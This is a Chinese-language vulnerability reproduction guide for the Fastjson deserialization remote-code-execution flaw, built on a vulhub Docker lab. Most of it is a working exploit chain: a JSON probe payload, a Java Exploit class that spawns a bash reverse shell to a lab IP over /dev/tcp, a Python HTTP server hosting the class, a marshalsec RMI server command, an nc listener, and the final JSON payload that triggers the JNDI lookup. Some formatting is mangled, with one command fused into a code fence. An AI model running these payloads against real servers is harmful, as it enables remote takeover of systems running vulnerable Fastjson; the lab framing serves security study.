概述
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。
在 1.2.24 版本的代码中,加载类名时没有对加载的类做限制,而是直接加载导致可利用 RMI 或者 LDAP 让服务器远程调用恶意类进行利用,从而在目标机器执行任意命令。
参考
-
影响版本
-
Payload
检测是否受影响
lsof -X | grep fastjson
-
漏洞复现
搭建环境
cd vulhub/fastjson/1.2.47-rce/
docker-compose up -d
Fastjson 1.2.45
- 访问地址:http://127.0.0.1:8090
检测是否存在漏洞
方法1:查看报错信息中版本号是否在影响范围
通过 POST 方法提交数据,Content-type 设置为application/json
,提交非正常的 json 数据包,通过返回的错误信息可查看到版本号。
方法2:DNSLog 盲打
通过 POST 方法提交数据,Content-type 设置为application/json
,发送以下数据包(修改ldap://dnslog/
地址为自己的 DNSLog 地址){
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://dnslog/",
"autoCommit": true
}
}
复现过程
1)创建 Exploit.java 文件(修改以下的反弹 Shell 目标地址)
2)编译 Exploit.java 生成 Exploit.class 文件public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/10.0.2.15/6666 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
3)使用 Python 创建临时 HTTP 服务,将 Exploit.class 放到当前目录下(在目标机器可访问的服务器上执行) ```shell python3 -m http.server 6969javac Exploit.java
测试访问,在目标机器执行以下命令,返回状态码 200 即可
curl -I http://10.0.2.15:6969/Exploit.class
4)使用 marshalsec 开启 RMI 服务(在目标机器可访问的服务器上执行)
```shell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://10.0.2.15:6969/#Exploit" 6799
5)在攻击机(第一步指定的地址)监听 6666 端口
nc -lvvp 6666
6)通过 BurpSuite 发送以下 POST 数据包即可成功反弹 Shell
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://10.0.2.15:6799/#Exploit",
"autoCommit": true
}
}